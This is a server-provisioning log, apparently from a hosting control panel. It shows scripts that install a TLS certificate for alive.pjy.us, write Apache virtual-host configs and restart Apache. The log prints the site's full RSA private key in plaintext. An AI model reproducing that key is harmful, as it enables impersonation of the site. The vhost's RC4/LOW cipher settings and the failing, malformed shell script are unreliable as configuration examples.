MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:40:08: Establishing a connection
2025-12-31 19:40:09: 

PUT: /tmp/pkp620726

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'


-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-31 19:40:10: 

chmod 755 /tmp/pkp620726; /tmp/pkp620726; rm /tmp/pkp620726

2025-12-31 19:40:10: 


dir=/etc/ssl/certs


2025-12-31 19:40:10: 

PUT: /tmp/pkp115143

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi


2025-12-31 19:40:11: 

chmod 755 /tmp/pkp115143; /tmp/pkp115143; rm /tmp/pkp115143

2025-12-31 19:40:11: 


/tmp/pkp115143: line 58: [: !=: unary operator expected




STDERR:
/tmp/pkp115143: line 58: [: !=: unary operator expected


2025-12-31 19:40:11: 

PUT: /tmp/pkp775644

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-31 19:40:12: 

chmod 755 /tmp/pkp775644; /tmp/pkp775644; rm /tmp/pkp775644

2025-12-31 19:40:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 19:40:12: Establishing a connection
2025-12-31 19:40:12: 

PUT: /tmp/pkp370169

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
